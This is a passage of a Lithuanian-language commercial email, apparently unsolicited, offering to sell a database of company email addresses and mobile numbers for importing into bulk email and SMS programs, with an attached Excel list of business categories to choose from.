skolingos Sodrai.
 
3) Lengva, greita ir patogu dirbti su šia baze, elektroninius pašto adresus 
galite importuoti į elektroninių laiškų siuntimo programas ar sistemas iš kurių 
siunčiate elektroninius laiškus.
Taip pat galite importuoti mobiliųjų telefonų numerius į SMS siuntimo programas.
 
 
Išsirinkite iš "Veiklų sąrašo" veiklas kurių Jums reikia.
( Sąrašas prisegtas laiške excel faile )
 
Parašykite, kurias veiklas išsirinkote 
ir atsiųsime pavyzdį ir pasiūlymą su sąlygomis įmonių bazei įsigyti



Pagarbiai,
Tadas Giedraitis
Tel. nr. +37067881041


Veiklos.xlsx
Description: Binary data